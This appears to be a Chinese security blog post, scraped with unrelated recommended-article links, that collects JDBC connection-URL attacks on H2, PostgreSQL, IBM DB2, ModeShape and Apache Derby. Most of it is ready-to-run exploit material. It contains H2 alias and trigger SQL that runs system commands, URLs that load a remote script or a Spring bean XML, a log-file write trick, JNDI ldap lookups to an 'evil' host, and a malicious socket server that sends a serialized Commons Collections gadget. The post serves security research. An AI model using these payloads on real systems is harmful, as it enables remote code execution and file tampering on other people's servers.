前言

针对除Mysql的其它数据库的jdbc attack分析

H2 RCE

介绍

H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。H2 主要有如下三个用途:

  1. 第一个用途,也是最常使用的用途就在于可以同应用程序打包在一起发布,这样可以非常方便地存储少量结构化数据。
  2. 第二个用途是用于单元测试。启动速度快,而且可以关闭持久化功能,每一个用例执行完随即还原到初始状态。
  3. 第三个用途是作为缓存,即当做内存数据库,作为NoSQL的一个补充。当某些场景下数据模型必须为关系型,可以拿它当Memcached使,作为后端MySQL/Oracle的一个缓冲层,缓存一些不经常变化但需要频繁访问的数据,比如字典表、权限表。

搭建

下载:http://www.h2database.com/html/download.html

看说明书搭建就行

INIT RunScript RCE

在H2数据库进行初始化的时候或者当我们可以控制JDBC链接时即可完成RCE,并且有很多利用,首先就是INIT,进行H2连接的时候可以执行一段SQL脚本,我们可以构造恶意的脚本去RCE

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException{Runtime.getRuntime().exec(cmd);return "hacker";}';CALL EXEC('calc')

控制JDBC URLjdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql',点击连接,即可弹出计算器,这种方法得需要账号密码正确

Alias Script RCE

假如可以执行任意H2 SQL的语句,那么也可以完成RCE,其实上述的INIT实质上也就是执行任意H2的sql语句。而执行语句也有很多讲究。对于上述的INIT需要出网,而我们可以利用加载字节码达到不出网RCE的效果,类似于SPEL以及OGNL注入内存马。

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('whoami');

TRIGGER Script RCE

除了Alias别名还可以用TRIGGER去手搓groovy或者js代码去rce,但是groovy依赖一般都是不会有的,所以js是更加通用的选择

// groovy
Class.forName("org.h2.Driver");
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'"; // js
CREATE TRIGGER poc2 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec("calc") $$;

TRIGGER没法在INIT处使用

PostgreSQL JDBC RCE

socketFactory/socketFactoryArg RCE

环境搭建

<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>
package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException; public class PsqlJdbcRce {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);
connection.close();
}
}
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

postgresql数据库自己搭建,运行代码即可弹出计算器

调用流程

一张图概括postgres jdbc攻击流程(先知社区的引用一下,如有侵权联系博主删除



在psql的jdbc初始化的时候会读取jdbc链接里的某些参数,并且进行一些操作,断点调试,跟着图中流程走





进入makeConnection,过,到这



进入openConnection



进入openConnectionImpl



进入getSocketFactory,注意这个传入的info就是上面的props



这里开始从info中获取信息,先获取的socketFactoryClassName然后进入instantiate



实例化org.springframework.context.support.ClassPathXmlApplicationContext,传入的args是http://127.0.0.1:8888/bean.xml,实例化我们自定义的bean,造成了rce

sslfactory/sslfactoryarg RCE

跟上面流程差不多,不过这里得注意postgresql数据库得开启ssl,配置文件里设置ssl=on

package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException; public class PsqlJdbcRce {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
// String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?sslfactory="+socketFactoryClass+"&sslfactoryarg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);
connection.close();
}
}

loggerLevel/loggerFile 任意文件写入

package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException; public class PsqlJdbcRce {
public static void main(String[] args) throws SQLException {
// String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
// String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
//// String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
// String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?sslfactory="+socketFactoryClass+"&sslfactoryarg="+socketFactoryArg;
// Connection connection = DriverManager.getConnection(jdbcUrl);
// connection.close();
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent="test";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}

可以实现跨目录写文件

IBM DB2 JDBC JNDI RCE

环境搭建

<dependency>
<groupId>com.ibm.db2</groupId>
<artifactId>jcc</artifactId>
<version>11.5.0.0</version>
</dependency>

docker拉个DB2数据库

docker pull ibmoms/db2express-c

docker run -itd --name db2 --privileged=true -p 50000:50000 -e DB2INST1_PASSWORD=db2admin -e LICENSE=accept ibmoms/db2express-c db2start

package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException; public class DB2JDBCRCE {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.ibm.db2.jcc.DB2Driver");
DriverManager.getConnection("jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1099/evil;");
}
}

调试流程

经过一系列不知道什么的东西,最终定位到com.ibm.db2.jcc.am



达到jndi的效果

ModeShape JDBC JNDI RCE

介绍

ModeShape是一个分层的、事务性的、一致的数据存储库,支持查询、全文搜索、事件、版本控制、引用和灵活的动态模式。它非常快,高可用性,高度可伸缩,并且是100%开源的,用Java编写的。客户端使用(JSR-283)标准的Java API或者ModeShape的Rest API,可以通过JDBC和SQL查询内容。

环境搭建

<dependency>
<groupId>org.modeshape</groupId>
<artifactId>modeshape-jdbc</artifactId>
<version>5.4.1.Final</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.modeshape/modeshape-common -->
<dependency>
<groupId>org.modeshape</groupId>
<artifactId>modeshape-common</artifactId>
<version>5.4.1.Final</version>
</dependency>
package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException; public class modeshapJNDI {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("org.modeshape.jdbc.LocalJcrDriver");
DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1099/evil");
}
}

流程分析



进入createConnection



进入initRepository,触发lookup

Apache Derby

环境搭建

<dependency>
<groupId>org.apache.derby</groupId>
<artifactId>derby</artifactId>
<version>10.10.1.1</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

攻击流程

准备一个恶意Socket服务端

package com.ctf;

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Base64;
import java.util.concurrent.TimeUnit; public class EvilServer {
public static void main(String[] args) throws IOException, InterruptedException {
int port = 4851;
ServerSocket server = new ServerSocket(port);
Socket socket = server.accept();
// CC6
String evil="rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwcHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAARZ2V0RGVjbGFyZWRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABJ1cQB+ABcAAAACcHB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAXc3EAfgASdXEAfgAXAAAAAXQABGNhbGN0AARleGVjdXEAfgAbAAAAAXEAfgAec3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHhweA==";
byte[] decode = Base64.getDecoder().decode(evil);
// 直接向 socket 中写入
socket.getOutputStream().write(decode);
socket.getOutputStream().flush();
Thread.sleep(TimeUnit.SECONDS.toMillis(5));
socket.close();
server.close();
}
}
package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException; public class demo {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
// DriverManager.getConnection("jdbc:derby:dbname;create=true");
DriverManager.getConnection("jdbc:derby:dbname;startMaster=true;slaveHost=127.0.0.1");
}
}

这里先执行create=true,然后在执行下面这句,可以弹计算器

ReplicationMessageTransmit下的readMessage方法会对socket连接拿到的数据直接进行反序列化



JDBC数据库汇总Attack研究的更多相关文章

  1. activemq 5.13.2 jdbc 数据库持久化 异常 找不到驱动程序

    原文:https://my.oschina.net/u/2284972/blog/662033 摘要: activemq jdbc 数据库持久化 异常 找不到驱动程序 Caused by: java. ...

  2. Spring——JDBC——数据库

    1.Spring 的数据访问哲学 数据访问的功能放到一个或者多个专注于此项任务的组件.这样的组件通常称为数据访问对象(data access object)DAO或者Repository. 为了避免应 ...

  3. Java封装JDBC数据库增、删、改、查操作成JAR文件,以供Web工程调用,适用于多种数据库

    废话不多说,直接上源代码,最后有使用方法,当然,也可以作为普通公用类使用,只是封装成JAR更方便使用. package db.util; import java.io.BufferedReader; ...

  4. Java JDBC 数据库链接小结随笔

    Java JDBC 数据库链接小结随笔 一.链接数据库的步骤 二.关于Statement  和  PrepareStatement 两者区别 用法 三.关于 ResultSet 的一些小结 四.自定义 ...

  5. 揭开JDBC的神秘面纱,让JDBC数据库的连接参数不再神秘

    1.JDBC是什么? JDBC(Java DataBase Connectivity)java数据库连接 2.JDBC可以做什么?        简单地说,JDBC 可做三件事:与数据库建立连接.发送 ...

  6. JDBC数据库1

    数据库(Database)是按照数据结构来组织,存储,和管理数据的仓库.数据库有很多类型,从简单存储各种数据的的表格到能够储存大型数据的系统,在各方面得到了广泛的应用.数据库简介J.Martin给 数 ...

  7. [总结] JDBC数据库操作

    1.加载驱动--告诉驱动管理将使用哪一个数据库的驱动包. class.forName("com.mysql.jdbc.Driver"); 2.操作JDBC ADI完成数据库动作 D ...

  8. MySql连接JDBC数据库------借鉴的红客联盟的

    首先安装MySQL数据库,我安装的是MySQL5.5,具体安装步骤这里就不介绍了.需要提醒的是,如果安装进程一直停在start service那里,无法继续进行下去的话,请参照我的博文<安装My ...

  9. java jdbc数据库操作

    package shb.java.demo3; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQ ...

  10. web/jdbc数据库带实例名连接2008

    --------------------------数据库带实例名连接2008-------------------------------------<property name=" ...

随机推荐

  1. linux 前端 jenkins打包失败 permission 权限安装 root 安装nodejs,没有权限,另一个账号,需要chmod将文件权限打开

    linux 前端 jenkins打包失败 permission 权限安装 root 安装nodejs,没有权限,另一个账号,需要chmod将文件权限打开 开始以为nodejs版本问题 最后发现是安装n ...

  2. HUAWEI WATCH GT3手表芯片传感器简析

    一 这里梳理一下华为手表GT3所使用的芯片 芯片A: BES2500L 恒玄BES2500L智能手表SoC,集存储.音频.连接为一体,集成BT5.2双模蓝牙,可支持BLE数据传输.蓝牙通话和音乐播放功 ...

  3. K8S通过Yaml部署Nacos,注册服务报错503

    报错信息: ErrCode:503, ErrMsg:server is DOWN now .detailed error message: Optional[Distro protocol XXXX] ...

  4. RTMP录屏直播屏幕数据获取与MediaCodec编码

    目录 前言 RTMP直播实现流程 视频采集--MediaProjection 编码--MediaCodec 音频采集--AudioRecord RTMP音频包数据 RTMP视频数据 前言 本文介绍的是 ...

  5. 【Unity干货教程】如何实现Unity和Android原生互相调用?

    Unity是一个跨平台开发工具,发布到移动平台也是大部分Unity开发者的必备技能.而由于Unity跨平台的特性,总会遇到在移动平台的技术细节支持不够,或者需要在调用其他原生插件的情况.这里我们说一下 ...

  6. 不要升级!不要升级!MacOS 14.4 引发Java 应用崩溃

    如果最近您收到了MacOS 14.4的升级提醒,那么建议你暂时先不要升级! 在x上,Java开发领域的一些大v们,也发现了这个问题,并提醒大家不要升级. 根据Java官方发布的文章了解到,该问题主要是 ...

  7. 开发进阶系列:Java网络通信编程从基础到框架

    一  基本概念 IO(BIO)和NIO的区别:其本质就是阻塞和非阻塞的区别. 阻塞:应用程序在获取网络数据的时候,如果网络传输数据很慢,那程序就一直等着,直到传输完毕为止. 非阻塞:应用程序直接可以获 ...

  8. 一周内容分享(第 10 期):别让自己"墙"了自己

    这里记录过去一周,我看到的值得分享的东西. 一方面是整理记录一下自己一周的学习,另一方面也是期待自己有更多的输出,有更多的价值. 周刊开源(Github:wmyskxz/weekly),欢迎提交 is ...

  9. 《百岁人生》读书笔记 | 能活百年,为什么要死在 "35" 岁?

    <百年人生>讲述了当我们如愿能够接受到 长寿 这份礼物时,它所带给我们的挑战以及应对方法,这些发生在 "眼前" 的事,不得不引发我们重新的思考.推荐阅读 一.百岁人生的 ...

  10. verilog之function

    verilog之function 1.基本作用 function,就是声明一个函数.与task的区别就是有参数.function的返回值就是函数名(可以设置位宽),输入值任意,均作为输入参数.代码块需 ...